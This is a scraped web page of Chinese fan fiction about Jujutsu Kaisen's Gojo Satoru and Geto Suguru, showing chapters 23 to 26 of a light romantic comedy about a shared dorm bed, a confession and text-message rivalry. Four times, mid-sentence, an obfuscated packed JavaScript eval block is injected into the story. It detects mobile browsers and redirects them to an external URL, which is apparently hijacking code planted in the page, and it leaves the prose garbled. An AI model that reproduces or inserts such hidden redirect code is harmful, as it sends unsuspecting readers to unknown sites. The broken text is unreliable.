高专寝室的床是单人床，夏油杰丢到人群里也是超规格的天空塔，一个人睡就正正好好了，再挤一个更超规格的五条悟，加上如今盛夏高温的debuff，就算开了空调，肯定也会黏黏糊糊的。 五条悟不给他拒绝的机会，迅速地翻起来把自己的枕头放到了里侧，人也立刻睡了进去，侧躺着以非常妖娆的姿势拍拍空出来的另一半。 “来嘛来嘛~”五条悟夹着嗓子说，“人家今晚一个人肯定睡不着了！” 夏油杰：“……” 优等生不由得认真地回忆了一下，发现那只咒灵闹这一出确实让五条悟变得有点疑神疑鬼。 虽说他的确认出了真的，但从来都是唯一选的五条少爷仍然产生了非常强烈的危机感，恐怕还得闹上几天才能恢复正常。 对这样无关紧要的小事，夏油杰从来都不介意多关照关照他人的。五条悟想和他睡一张床上，那就睡吧。 他听说过的，普通人家的好朋友也会有互相留宿的情况。两个好朋友可能会睡在同一张床上讲些乱七八糟的小话，闹到夜深人静才在跑来查房的父母监督下睡过去，第二天早上嘻嘻哈哈的一起从床上爬起来洗漱上学去。 很可惜，夏油杰小朋友当年自认是背负了保护世界职责的神秘超人，不屑于、又或者说是对旁人都有这样的保护欲，不愿意和他们分享那些他们不知道的危险，所以没能交到那样亲密的朋友。 还好那些缺失的部分全在高专补回来了。尽管他原来也不觉得自己少了什么，但还是真有比较好。 夏油杰关灯上床，迷迷糊糊地叮嘱道：“悟不要把我踹下去了。” 五条悟举手发誓，“怎么可能，老子睡相很好的！” 封建大家族亲测，晚上睡觉可以像死尸一样一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15245919|164953||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 动不动。 夏油杰是真困了，胡乱地点点头，挤上床和五条悟面对面睡着，对面也不知道是困劲完全过去了还是怎么的，睁着一双炯炯有神的大眼睛看着他—— 靠，这家伙眼睛怎么真跟猫似的，还会发光呢。 夏油杰眯着眼睛和他对视了一会儿，还是没能抗住，从幼稚园大班开始就自己一个人睡觉的夏油杰觉得有点古怪，默默翻了个身。 五条悟幽幽道：“干嘛啊？” 他之前被饭团呛到时夏油杰也这个反应，看了一会儿之后才记得给他递水加回避。真搞不懂这家伙到底要干嘛，这么心虚，一定是杰有问题吧！ 夏油杰又转回来，解释道：“有点奇怪……我只有很小的时候才和爸爸妈妈一起睡。后来都是一个人睡了。” “喔。”五条悟微微颔首，“老子好像一直都是一个人睡。” 高专的单人床还是太小了，两个健壮的男高中生勉强挤在一起，还莫名其妙就要面对面睡，热烘烘的呼吸都交缠在一起。 五条悟觉得有点新奇，搭着眼皮数对方的呼吸频率，六眼却在这时候收集了不必要的信息，带着种惊喜的意味突然用信息袭击大脑—— 杰的脸颊肉看起来软软的耶！ 五条悟：“……” 这玩意有病是不是？最近吃垃圾信息吃多了？ 还不愿意承认自己有问题的六眼的主人率先恼羞成怒起来，但无知觉勾动了他万分情绪的家伙看起来快睡着了。 安静了片刻后，五条悟有点不爽，伸手推推挚友说：“老子好像真的睡不着了。” 险些进入浅层睡眠的夏油杰勉强睁开眼睛，思考了一会儿他刚刚嘀咕了什么。 悟睡不着→悟想睡觉→哄悟睡觉吧 夏油杰用自己有点停摆的大脑勉强思考着，找出了些过于久远的记忆，下意识便开始模仿，一伸手就把本来就离得很近的五条悟揽进了怀里，像是哄小宝宝似的在他背上有规律地轻拍了起来。 “悟、先把眼睛闭上吧……”夏油杰全靠本能在说话了，低得像是呓语，“很快就能睡着的，小时候我妈妈就是这样做的……” 五条悟差点就真的被这种久远的、关于母亲的记忆哄过去了。 不对！五条悟突然想起自己不是真的来找夏油杰睡觉的，他有问题要问！ 来不及措辞了，五条悟仿佛恶魔低语般直愣愣地说：“呐呐，杰。其实，老子可能喜欢同性哦？” 如此劲爆的消息，这下总该醒了吧！五条悟还准备循序渐进着就在今晚讲明白，大脑已经迅速安排好了接下来的问题，但对面并没有特别接茬。 夏油杰在神志模糊期间也不忘维护自己的清白，含混道：“嗯嗯，是正常的哦……虽然我不是gay，但我也不会歧视悟的。睡吧睡吧……” 他自己倒是对回答很满意，既不会让五条悟自卑，又不会暴露自己的心思，还让他们现在的行为显得无比正常，太完美了。完美得他立刻就要投入一场美梦了。 这家伙现在除了睡觉什么都不愿意想了。 五条悟，天崩地裂。 他张了张嘴还想说点什么，夏油杰的呼吸已经变得均匀绵长起来，之前还拍着的手也停了，沉沉地搭在五条悟身上。 ——初次尝试哄人入睡的夏油同学先把自己哄睡着了。 五条悟：“……” 直觉告诉他，现在把夏油杰摇醒继续说一定会被打。思考了半晌后，绝望的五条少爷默默地数起挚友的眼睫毛来。 十分钟后，五条悟也终于睡着了。 24.第 24 章 五条悟做了噩梦。 梦境的具体内容已经不可考了，只能依稀想起似乎是夏油杰的声音说着什么“没办法在这个全是gay的世界真正笑出来”，宛若一个绝望的直男的呐喊。 五条悟被这振聋发聩的呼喊惊醒，扭头看了一眼旁边熟睡的夏油杰，面无表情地给自己诊断为睡眠不足导致的神智昏聩。 ——居然差点在这么随便的场景做了非常重要的决定！ 五条大人的初次告白差点就莫名其妙地交代出去了！绝对不行的吧？告白应该是要郑重准备的，场地、花束、礼物，都得精心布置好啊！ 而且……夏油杰说自己不是gay。 五条悟忽的想到这一点，才发现自己昨晚太草率了……虽然他完全不觉得，如果真的说出来，夏油杰会拒绝他。 彻底清醒过来后，他竟然稍微有点庆幸夏油杰昨晚实在是太困了，没来得及让他讲出循序渐进的爆炸消息，所以现在这家伙还有为了防止被床上多出来的“巨型抱枕”挤下床，而死死扒拉住他的勇气。 五条悟：“……” 还是、还是再准备一下吧！ 五条悟叹了口气，轻手轻脚地把已经被挤到床边的夏油杰重新挪回床中间，将努力抠住的狐爪安稳放好，一迈步就跨下床了。 夏油杰睡得挺熟的，五条悟一走，他就很自觉地又把多出来的那个枕头塞进怀里继续睡了。五条悟蹲在床边看了一会儿，偷偷摸摸地把他那撇刘海挑出来，摸过放在床边的发圈把刘海绑了起来。 干了坏事之后，五条悟的情绪终于安定许多，勾起嘴角抬手就对着刘海酱一弹，高高兴兴地回自己那边洗漱去了。 …… 一觉睡到大中午，五条悟现在精神不错，给尚在熟睡的夏油杰发信留言表明自己出门觅食后就踏出了男寝的大门。 路过蹲在树荫下抽烟的家入硝子时，五条悟很平静地打了声招呼就继续走，走出两步后才觉得有点不对劲，又返回来仔细观察了一会儿神色郁郁的女同学，问：“硝子？你怎么了？” 家入硝子抬起眼睛，眼下顶着两个重重的黑眼圈，却轻飘飘道：“熬夜了啊，刚刚才忙完呢。” 如果只是有人受伤的话，她倒是花不了这么久时间，但毕竟有人死掉了嘛。咒术师的尸体不经过特殊处理的话，保不齐会变成什么不得了的东西，昨晚两个男同学倒是完成任务倒头睡大觉，她的工作才刚刚开始。 不管做过多少次心理准备，在解剖台上看见熟人还是让人有点……无所适从吧。家入硝子抖了抖烟灰，随口道：“要注意别死了啊，很麻烦的。” 五条悟盯了她一会儿，直把美少女盯得头皮发麻，才很自信地说：“切，怎么可能嘛。我和杰超厉害的，怎么可能死？比起担心我们，硝子还不如想想自己的黑眼圈呢~” 他隐约能感觉到，家入硝子的情绪有点低落。 想来也是，二级术师的数量也不算特别多，还给总监部打工的，受了重伤全会送到家入硝子这里来，她能认识也不奇怪。看藤原那副听到搭档牺牲就晕过去的样子，醒来恐怕还得崩溃一回，近距离承担那些情绪的也就只有家入硝子这样的医疗人员了。 五条大人才不是完全不懂的笨蛋捏，只是大多数时候不在乎那些人的心情罢了。 家入硝子：“……” 虽然五条悟讲出来欠欠的，但却隐约能感觉到安抚意味……家入硝子作势要拿烟头扔这笨蛋，没和他多计较，移开视线又放空了一小会儿才突然注意到五条悟还没走。 家入硝子感到不妙，“你还有什么事？” 五条悟也蹲了下来，眨巴眨巴眼睛，很无辜地问：“硝子，你那个问卷，老子可不可以再填一份？不，也不用重新填，改一些题的答案就好。” 家入硝子只稍作思考，便问：“我还以为你是没烦恼的笨蛋呢。遇到什么麻烦了吗？” 五条悟刚要说，她忽的伸手制止道：“等一下，是关于哪方面的？” “情感……喂喂硝子，那是什么表情？”五条悟登时便不满起来，“老子也是该情窦初开的年纪啊。” 满脸嫌弃的家入硝子搓了搓脸，手动表情管理了一下，才继续问：“谁？男的女的？” 五条悟撑着脸很惆怅地说：“男的啦，不过最近突然发现他好像不喜欢男人……” 不过就算杰不喜欢男人，如果对象是他的话，应该也不会拒绝吧！五条悟就这么自信。 爱上直男是男同的宿命吗？家入硝子无语，默默将五条悟提到的人确定为那位神秘的A先生。 五条悟对那家伙的重视程度，她也略有耳闻——五条悟天天抱着手机和人家聊天，还为了对方的精神状态着想学起了心理，到最后突然说那人不喜欢男的…… 家入硝子一般不站在人渣同学这边，但就看这些举动，也觉得对面有点过分了。怎么能欺负傻子呢？ “性取向的事也不能勉强。”家入硝子说。 “不算勉强吧？他只是不觉得自己还可以喜欢男人。”五条悟很淡定，“如果是老子的话，他一定能想通的。” 家入硝子觉得自己已经尝试过拯救直男了，拦不住有人硬要掰，便吐槽道：“照你这么说，到底还有什么烦恼啊。不都是能迎刃而解的事情吗？” “烦恼要怎么创造告白的时机也是烦恼吧？”五条悟鼓鼓脸，“随随便便就说了，显得老子一点都不重视似的。这可是初恋，初恋——” “那你去问夏油。这是他擅长的部分。”家入硝子顺势把做知心好同学的机会往外一推。 五条悟很疑惑，“为什么问杰啊？他之前也没谈过恋爱吧，至少没和老子说过。” 谈没谈过恋爱也需要讲？ 家入硝子也不是很懂他们挚友，没太纠结，解释说：“夏油很会照顾人啦，准备惊喜这种事擅长也是理所应当的。” 五条悟故作惊讶，“万一杰也不知道呢？他又不喜欢男的。” 有些时候，人其实自己也不知道自己究竟想要什么，对吧？ 家入硝子很冷静，“你怎么能确定他不喜欢男的呢？你看起来比他直多了。” 不还是率先搞上男同了吗？ 咒术师表面上看起来的性取向真是最不可靠的东西，况且夏油杰表面上看起来也不是很直。 五条悟：“？” 和笨蛋做同学总是有需要自己支教的时刻，家入硝子慢悠悠道：“夏油是个留长发的男人。” 不良少女家入硝子对长发男有一定的刻板印象。 这类人群一般会装得非常忧郁文艺以此来伤害小妹妹的少女心，但夏油杰现在既不忧郁也不文艺，更没有和一群小妹妹谈恋爱，对咒灵的兴趣比对人类的兴趣大…… 所以，他要么不喜欢人类，决定将一生都投入保护普通人的事业中；要么喜欢男的，只是还没遇到喜欢的人而已。 五条悟仍然不理解：“……那又怎么了？五条家那群老头子也好多长发的啊。” 家入硝子白了他一眼，“能不能别把古董老头纳入讨论范围？” 夏油杰很潮的耶，可是能和她一起品鉴美甲和穿搭的男人，跟五条老头们一起提也太侮辱人了吧？老头子们完全是封建残余啦。 五条悟觉得也是，只是突然想到了而已，被女同学教 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15256491|164953||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 训了之后便乖巧点头。 酷姐家入硝子不想过多解释，只淡淡道：“反正夏油看起来就不喜欢女的，别纠结了。” 女同学似乎讲得很有道理，五条悟不明觉厉，又指了指自己，问：“那硝子觉得，老子喜欢什么类型的呢？” 家入硝子反问：“你真的喜欢人类吗？” 也不知道神秘A先生到底有什么手段，才多久就给五条悟勾成这样…… 她还记得上学期这家伙吐槽galgame恋爱CG的水平可是很先进的，看起来完全不理解任何爱情元素，只是单纯地开图鉴狂魔而已。 五条悟不打自招：“硝子怎么可以这样说杰！” 家入硝子：“？” 女同学缓缓扭头看过去，意识到这小子究竟来刺探什么了，迟疑道：“……你刚刚说的，不会都是真的吧？” 情感问题、对方不喜欢男人……又突然转到夏油杰不喜欢男人……合着问题的关键不是那位神秘A先生，而是夏油杰？！ 可是五条悟联系人置顶里，还有个A排在夏油杰上面……却又突然告诉她，想要追求的人是夏油杰，那A算什么，正宫吗？！ 五条悟在搞什么不为现代社会道德观念所容的东西？兔子都不吃窝边草呢，他怎么这样！ 家入硝子露出了看垃圾的眼神。 五条悟阳光开朗地点头，“是呀，有什么问题？” 他竟然承认得如此果断！家入硝子不可置信地说：“我真的要谴责你了……那个A呢？” 五条悟歪了歪头，终于明白家入硝子到底误会了什么，连忙解释道：“老子不都说过了吗？那个不是恋爱对象，只是个很麻烦的笨蛋啊！” 家入硝子：“那为什么他顺序排在夏油前面？” 五条悟：“那个时候老子在生杰的气啊，所以才让杰下去待着的！” 而且都没下去多远，只下降了一位诶！ 两人默默无语地对视片刻。 人在极度无语的时候真的会笑出来，家入硝子笑了。 原来A不是什么神秘对象，A是你们play的一环——她也是。 “所以，是夏油亲口跟你说的他不喜欢男的？”家入硝子揉了揉眉心，一时间无法理解男同学们的脑回路，只好说，“那他可能不喜欢人类吧，别强求啊。” 一届总共就三个人，五条悟是个封建家族的继承人，夏油杰是出身平民的优秀少年……而她，是个医生。 这种熟悉的配置……家入硝子上次见到还是在《霸道囚爱：家主夫人别想跑》里看到过。 强取豪夺禁止！！！ 五条悟这时候却没被打击到，他点点头，“强求？不可能啦，杰肯定超喜欢老子。” 家入硝子眼神死，“……那你到底是来干什么的？” 她之前质疑的部分，五条悟自己都无比自信，难道只是来拿她寻开心吗？ “哎呀……”五条悟挠挠脑袋，“老子可是初恋耶，会有点烦恼也很正常吧？不过和硝子聊过之后就不烦恼了，谢谢硝子！” 彻底想通的白毛笨蛋跳起来就轻快地跑走了。 家入硝子叹了口气，“真是的……” 五条悟以身入局，彻底把家入硝子的忧郁情绪赶走了。她果然还是讨厌笨蛋。 家入硝子又蹲了一会儿，等到指尖的烟燃尽了才起身，才准备走人就听见有人叫她。 “硝子……怎么了？什么表情啊？”走过来的夏油杰关切地问。 “啊，夏油。”家入硝子拧着眉头，颇有些疲惫地问，“有什么事吗？” 你，该不会也是来恋爱咨询的吧？ 25.第 25 章 夏油杰当然不是来做恋爱咨询的。 五条悟离开后没多久，他就忽的醒了。 难得遇到没有任何安排的假期，就算是优等生也只能抱着枕头在床上翻滚了好一会儿才爬起来，坐着发了一会儿呆才发现一小块头皮紧紧的，这才发现有人把发圈特意绑在了他的刘海上。 夏油杰：“……” 凶手是谁呢，好难猜哦。 难怪五条悟今天都没赖床跑得飞快，原来是干了坏事要立刻逃离犯罪现场。 夏油杰依稀记得五条悟昨晚是想和他说什么事的，但他实在太困了，没能来得及听，本来想说明早再议的，却也困忘了没能告诉家猫…… 这下倒好，非常记仇的坏猫大清早就做出了和咬坏电线差不多的事情，逃之夭夭了。 跑归跑，五条悟还是给他留下了知会行踪的消息。 夏油杰无语地起床，慢悠悠收拾了半天，才出门准备物理意义上地修猫，却不知道自己刚好错过了同学们对他性取向的讨论，过来看到家入硝子，就顺路过来打个招呼而已。 他并不知道才应付过一个恋爱笨蛋的女同学心中究竟对他前来的动机有多么怀疑，看见对方露出扭曲的表情后，心中只有诚挚的关切：“我倒是没什么事，不过硝子脸色很差呢。如果没有工作了的话，不如早点回去休息怎么样？” “知道了，别都总是催我啊。”家入硝子微微颔首。 先是五条悟迂回地打了一下岔，又是夏油杰直接过来叫她回去休息。这两个笨蛋偶尔也挺贴心的嘛。 “都？悟也来过了吗？”夏油杰弯起眼睛笑了笑，语气甚至有些诡异的欣慰，“还挺不错的。” 是在行善积德吗？那也没用，他今天一定要给五条悟绑苹果头，非得把那个笨蛋的头皮也提一提。 并不知晓他心理活动的家入硝子的表情愈发诡异起来。 完全是那种“我家孩子会讲话了哦~”的妈妈语气。五条家都不一定把这种事放在心上吧？这家伙对自己的定位究竟是怎样的啊…… 夏油杰有点困惑：“硝子，我怎么了吗？难道我脸上有东西？” 家入硝子现在看他真是左脸写着“男同”右脸写着“gay”，哽了哽还是不打算招惹还没成功表白的鸡掰猫，将直抒胸臆的吐槽憋了回去，非常欲盖弥彰地揉了揉眼睛，敷衍道：“不，没什么……眼睛里进沙子了。” 夏油杰：“……” 好不走心的敷衍！ 咒术师的直觉告诉他，一定有些不妙的事情发生了。 不过家入硝子已经明确地表现出了不想聊的态度，他也不好多问，只随口吐槽道：“硝子不会和悟串通好了要整蛊我吧?” 真是的，他们不会凑在一起讲了些不能为他所知的小话吧？ 家入硝子幽幽道：“那可比整蛊刺激多了……祝你好运吧。” 她这两个倒霉男同学，先前动不动就勾肩搭背贴在一起，坦荡得像两个钢铁直男。结果，现在其中看起来更直的那个率先踹开了柜门，还隐隐约约有拉着性向不太明确的搭档一起踹的意思…… 不过五条悟的行为无法用寻常逻辑来理解，此人向来随心所欲，根本不受世俗影响。 要是夏油杰真是一个无辜的直男，五条悟闹这出，恐怕会让优等生立地起飞，把刘海都吓得发出尖锐爆鸣。 夏油杰一头雾水，“什么啊？” 家入硝子今天已经应付过一个笨蛋了，拒绝再给另一个笨蛋支教，摆摆手道：“好啦，你去问五条吧。我才不要管你们之间的事情呢。” 她到底会不会是霸道家主那个绝望且无奈的医生朋友，就要看你了！ 夏油杰：“？” 没等他多问，家入硝子已经摆摆手转身走人了。 不知怎么的，夏油杰总觉得女同学离开前的眼神饱含怜悯，似乎确信他接下来一定要遭遇些跌宕起伏的事情，必然要被创得找不着北。 比起担忧，他更多的是好奇。既然已经知道五条悟在食堂，那就过去看看吧。 …… 五条悟在吃自己的早午饭，顺便检查还没来得及看的短讯。 夏油先生自昨晚不小心戳破了他的少年心思之后，便陷入了只看文字都能看出成年人微妙的惶恐的状态，昨晚还努力地找补了一下，看起来不止是在说服他，也是在说服自己。 A：【不不不，我当然不是说悟有问题的意思。这种事情也不能随便下定论。】 A：【总之就是，悟不要冲动，有时候会产生一些错觉也是正常的。毕竟也是情感最丰富的年纪……】 A：【还是谨慎一些比较好，谁也不知道突然改变关系会带来怎样的结】 五条悟挑了挑眉：“嗯？” 结？结果吗？ 夏油先生最后那条消息像是没输入完毕就发出来了，颇有些戛然而止的意思。 难道突然遭遇了什么意外吗？看信息发送的最后时间……早上六点，又联系到对方四点钟的时候还能做到秒回，该不会是那种熬夜熬大了终于猝死了的情况吧…… 五条悟不由得担心起来，打字道：【杰倒是把话说完啊，遇到什么意外了吗？】 意外地是，他消息才发出去，对面就秒速回复了，就是看起来有点凶凶的。 A：【睡了。别总是大半夜发消息啊，你也知道睡太晚对身体不好，对吧？】 五条悟眯起眼睛盯着这条语气非常冷酷的短讯，片刻后发出一声非常嘲讽的笑。 他当是谁呢，原来是掉线太久除了哭一事无成的笨蛋终于能动了。 先前五条悟还想，如果对面变成了那个霸总同位体，会不会有点不好辨认……现在真换人了，他却觉得有点过于好认，毫无挑战性。 哼，夏油先生才不会凶他捏。虽然都是“五条悟”，但他毕竟是无辜的异世界魔法小悟，可不会被冷言相待！ 而没用的败犬霸总搞笑艺人，就只能趁着相方睡觉时偷偷发一句让他不要半夜找人的0作用警告，然后又装作无事发生的样子，和相方一起当家里蹲！ 不过五条悟倒觉得对方这句话说得也不错，那边毕竟是没有咒力存在的麻瓜世界，除了天与咒缚之外，咒术师的身体素质怎么也会比普通人好，熬几个大夜还算是轻轻松松。 而且，说起这件事……夏油先生的作息好像一直都挺糟糕的。 五条悟便立刻啪啪打字道：【知道了，老子以后会注意的。但你也有点作用吧，都已经同居了，不能让杰早点睡吗？他凌晨四点都在回老子的消息诶，你在干嘛？】 也不知道怎么了，对方这次沉默了很久，又过了好几分钟才有回信。 A：【行。】 虽然只有短短的一个字，但五条悟却能看出对面的白毛笨蛋有多么忍辱负重，仿佛他做了什么很过分的事情似的。 五条悟略感疑惑。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15265120|164953||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 很快，新的消息又发过来了。 A：【杰和谁交往是杰的自由，我才不会插手。最近也只是有些不得不待在一起的意外而已，过段时间我会和杰好好谈谈的。我毕竟还是杰的相方，就算组合解散，过年回家他也得和我一起跟叔叔阿姨聚餐，你也不想和我闹得太难看吧？就这样，当我没来过，别多话。】 A：【别对杰发脾气。】 五条悟：“……？” 杰在和谁交往？这家伙在说什么鬼话，是在用幼驯染的身份跟他立威？ 哇塞，这个白毛笨蛋终于疯掉了，连现在的重点都搞不清楚…… 五条悟一时间呆住了，眨巴眨巴眼睛才猛地反应过来——对面的家伙，好像并不知道他的身份？ 五条悟往上翻了翻记录，觉得有信息在，对方没可能推理不出他的身份啊……总不可能真是当霸总当傻了吧？那可真要成“五条悟”族群里最丢人的家伙了。 那么，就只剩下一个可能性了。夏油先生那边的消息记录被删掉了，而夏油先生却从没提起过，所以这种删除应该不是被动的……一定是他主动删除了记录，甚至还是边聊边删的。 现在五条先生能看到的，还是在此人清晨靠着或强硬或委婉地手段从夏油先生手里拿走了他的手机才看到的一句没头没脑的消息，甚至不能知道夏油先生提到的究竟是组合关系还是情侣关系…… 五条悟一拍脑门，完全通透了——他，被当成夏油先生在外面谈的野男人了！ 笑死，他才不要和笨蛋同位体解释呢。 这家伙偷偷摸摸地跑来发消息，等会肯定也得咬牙切齿地删记录，五条悟非得再给他添点堵不可，当即便随地语C起了夏油先生的圈外男友，作里作气地打字： 【发脾气？也不看看这段时间到底是谁在发脾气！没有人家在的话，亲爱的不知道还要受多少委屈，还好意思教训起我来了！再不解决问题，人家才不担心要和你闹到什么地步，我相信爸爸妈妈知道你的作为也不会站在你那边的，对我来说，亲爱的就是最重要的！】 也不知道是他突然改换的语气太恶心，还是真的踩到了五条先生的痛点，对方不再回复了。 五条悟出师大捷，正洋洋得意地想再翘一会儿尾巴，垃圾信息吃得有点多的六眼却迟钝地发出有人靠近的警告，距离甚至已经到了有点恐怖的地步。 他下意识地便打开了无下限，随后鼻尖才闻到熟悉的香气，慌里慌张熄屏手机关掉术式，却已经来不及了。 夏油杰原本想要从背后靠近突然揪住五条悟的头发的，但手已经伸出去，指尖却迟迟没能传来毛茸茸的触感，他后知后觉自己被无下限拦住，一时间有些怔愣。 尽管下一刻就感受到了熟悉的触感，但刚刚惊鸿一瞥不小心看到的部分短讯内容已经足以把夏油杰创飞出去几里地了。 ——就算咒术界的封建世家不大在乎早恋，但对面是个男人啊，这就到谈婚论嫁见父母的地步了？ 夏油杰不动声色地继续了动作，揪着五条悟的头发给他脑袋上绑出了一个小揪揪，笑眯眯地假意抱怨道：“悟早上起床怎么都不叫我？难道是因为偷偷对我的头发做了什么坏事，心虚了吗？” 五条悟连忙解释：“杰，老子刚刚——” 夏油杰若无其事地打断了他，“什么？刚刚怎么了？” 五条悟：“……” 没、没什么……吗？ 26.第 26 章 当然不可能没事了，五条大人可不是笨蛋！ “杰。”五条悟挎着张小猫批脸，无语道，“你是不是把老子当傻瓜啊？装出一副若无其事的样子干嘛？” 一大早起床就调戏了挚友的刘海，对方醒来后会赶来报复是很正常的，五条悟当然也接受。这对他们来说顶多就算闹着玩的范畴内，不会有谁真的上头。 但设身处地一想，明明是兴致勃勃跑来找人玩的，却突然被挡了一下，就算对方找补的速度很快，心中当然也会有些不舒服的。 夏油杰神色自若地在他旁边坐下，掏出手机比耶，给苹果头小悟留下珍贵照片好几张，随后才慢悠悠地说：“别这么说，悟本来就是傻瓜。只到这种程度而已，你难道还真觉得我是来收拾你的吗？” 五条悟觉得有道理，杰也不是那么小气的人，刚刚应该是错觉吧？ 警报解除，五条悟顿时就放松下来。 趁着夏油杰还没来得及收手，五条悟一把就拿过了他的手机，对着镜头自然而然地把脑袋放在他肩膀上观察自己现在的造型，拧了拧五官，感受那种神秘的拉扯感，确认了好几遍才说：“扎得有点紧。” 夏油杰有点微妙的尴尬：“……那是因为悟头发太短了。” 五条悟对自己的新发型接受良好，唯一的意见也就只到这种地步，属实是一团无辜的棉花。 而这团棉花不仅接受了被揪头发的对待，还真的给他打包了食物……夏油杰看着在五条悟餐盘旁边的塑料袋，里头装的是他爱吃的凉面。 如果他还没能起来的话，甚至能在寝室里就等到带着一碗凉面归来的五条悟。 五条悟乖巧得有点可怕，甚至让差点恼火起来的夏油杰不那么好意思冲他起火了，为了掩饰尴尬，只好伸手给不得要领的挚友把发圈松了松。 虽然漏了些碎发下来，但确实比刚才那种脸皮都被往后提拉着的紧绷感好多了，五条悟又眉飞色舞地在挚友手机里留下好多张自拍，随后熟练地发给自己存档。 在相册里选择照片时，五条悟多翻了两下，发现最近的照片除了他乱七八糟的自拍之外，只有些任务资料的存档，这张内存卡甚至都是全新的，最早的照片的时间，也只是在上学期开学的时候拍了一下高专的樱花…… 五条悟突然问道：“杰不是有妹妹来着？怎么没有照片？” 来都来了，就在这儿吃了吧。夏油杰正在拆筷子，注意力暂时没在挚友身上，闻言只有点疑惑地随口答道：“悟听谁说的？我没有妹妹啊，我家里就我一个孩子。” 五条悟微不可闻地一顿，随即自若地嘲讽说：“啊，老子还以为杰有妹妹呢。还好没有，给别人扎头发的技术好烂哦，差点把老子的脸皮都翻过去。” 夏油杰：“……” 他还是第一次被人质疑扎头发的技术，颇有些恼怒的长发男抬手敲了敲他的脑袋：“我随便扎的，认真起来就能扎好。” “哦。”五条悟看起来不太相信，立起身子又认真地翻了翻挚友的相册，随后吐槽道，“好无聊的相册，杰也不拍点好玩的东西。” 夏油杰没什么意见，顺嘴就发射正论：“随便翻别人的相册可不礼貌。悟下次不能这样对其他人。” “知道了知道了——别人求老子看老子都不会看呢。”五条悟噘着嘴把手机还给他，本来想借此打探一下对方究竟为何将先前的手机号注销了，却意外发现了两个世界的些许不同。 不过夏油先生已经是成年人了，也许是杰的两个妹妹现在还没出生呢。五条悟没太放在心上，又拿过自己的手机，发现先前故意搞怪发出去的信息居然得到了回复。 五条先生的文字看起来非常不可置信。 A：【你平常就这样……杰是有异食癖吗？】 从小就能和one and only认识的搞笑艺人好像再也笑不出来了，五条悟爆笑出声，颤抖着手打字：【哈哈，那又怎样，你也只能嫉妒老子咯:P】 A：【？你值得嫉妒的点在？】 五条悟：【杰都没告诉过你这回事吧ww好可怜哦，人家是杰的秘密捏】 A：【难道不是因为你上不得台面吗^ ^见光死的家伙】 五条悟清晰地知道怎么才能让对方气急败坏，只是冷酷地重复道：【杰没告诉你。】 ——连发了三遍。 A：【复读机吗？】 五条悟：【杰没告诉你。】 A：【我只是没问。】 五条悟：【杰没告诉你。】 受制于信息差，对方只坚持了一会儿，最终还是没能撑住，发出了破防的声音：【你有病吧。】 五条悟只是无情地做复读机。 不过有规律地又发了几条之后，对方都没有回复，也不知道究竟是被垃圾信息打晕了，还是正在破碎地删聊天记录。 虽然猫对将桌边的东西推下桌有着非常强烈的兴趣，但聪明小猫也得考虑考虑物件掉下去的后果。 五条悟确信自己已经顺利让同位体浑身刺挠了，为了可持续性发展，暂且不必赶尽杀绝。 既然对面已经做出了类似于投降的举动，心情舒畅的超级大坏猫便很大度地放过了他，扭头一看，心无旁骛吃东西的夏油杰刚好吃完最后一口。 夏油杰好像只是随口一问似的说：“悟遇到高兴的事情了吗？” “遇到个不会说话只会气急败坏的哑巴啊。”五条悟伸了个懒腰，脑袋上立起来的一撮头发很有弹性地跟着晃了晃。 先前还是没能瞒过去吗？夏油杰怀疑道：“……这是指桑骂槐？” 怎么听着像在说他呢？ “杰是对号入座的笨蛋。”五条悟弹回来，摸着下巴审视了他一会儿，“不过突然说这种话也很奇怪，难道杰之前骗老子了吗？” “骗悟有什么意义吗？”夏油杰盯着他脑袋上被迫竖起来的那搓头发，淡定道，“也差不多了吧，悟真想顶着这个发型走出去吗？来，我给你拆掉……” 他手都伸出去了，五条悟却后仰避开了，嘀咕道：“诶，不要。老子挺喜欢这样的，干脆杰就把发圈留给老子好了，洗脸的时候很方便耶。” “那种时候就把术式打开啊，揪太多容易脱发的，头发太短就别总是扎起来。”夏油杰无语地继续靠近，黑化小狐心中白眼已经翻上天了——挡他的时候那么敏锐，挡水难道就不会了吗？ “哦，老子明白了！”五条悟恍然大悟地一拍手，“杰刚刚绝对因为被无下限挡开生气了吧！” 夏油杰：“……” 有必要吗？！为什么现在能这么敏锐啊！已经过去的事情就不用重新提起 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 